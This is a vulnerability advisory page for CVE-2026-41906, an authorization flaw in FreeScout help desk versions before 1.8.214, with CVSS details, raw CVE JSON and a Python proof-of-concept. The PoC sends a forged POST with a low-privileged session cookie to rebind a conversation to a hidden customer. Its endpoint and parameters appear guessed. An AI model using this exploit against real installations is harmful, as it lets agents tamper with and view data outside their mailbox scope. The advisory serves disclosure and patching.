Security Vulnerability Report
中文
CVE-2026-41906 CVSS 7.1 HIGH

CVE-2026-41906

Published: 2026-05-07 19:16:01
Last Modified: 2026-05-08 15:16:44

Description

FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.214, the Change Customer modal correctly hides out-of-scope customers through the mailbox-filtered search endpoint, but the backend conversation_change_customer action accepts any supplied customer_email. A low-privileged agent can forge a request and bind a visible conversation to a hidden customer in another mailbox. This issue has been patched in version 1.8.214.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

FreeScout < 1.8.214

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable FreeScout instance target_url = "https://example.com/conversations/change-customer" # Session cookie of a low-privileged agent attacker_cookies = { "freescout_session": "valid_low_privileged_session_cookie_here" } # The conversation ID that the agent has access to conversation_id = 1001 # The email of a hidden customer from another mailbox # This data is normally hidden by the frontend filter hidden_customer_email = "[email protected]" # Craft the malicious payload payload = { "conversation_id": conversation_id, "customer_email": hidden_customer_email, # Other required parameters if any } try: # Send the forged POST request response = requests.post(target_url, cookies=attacker_cookies, data=payload) if response.status_code == 200: print("[+] PoC successful: Conversation has been bound to the hidden customer.") else: print(f"[-] PoC failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41906", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.357", "lastModified": "2026-05-08T15:16:43.663", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.214, the Change Customer modal correctly hides out-of-scope customers through the mailbox-filtered search endpoint, but the backend conversation_change_customer action accepts any supplied customer_email. A low-privileged agent can forge a request and bind a visible conversation to a hidden customer in another mailbox. This issue has been patched in version 1.8.214."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.214", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-p6hg-2cwg-rrx9", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-p6hg-2cwg-rrx9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}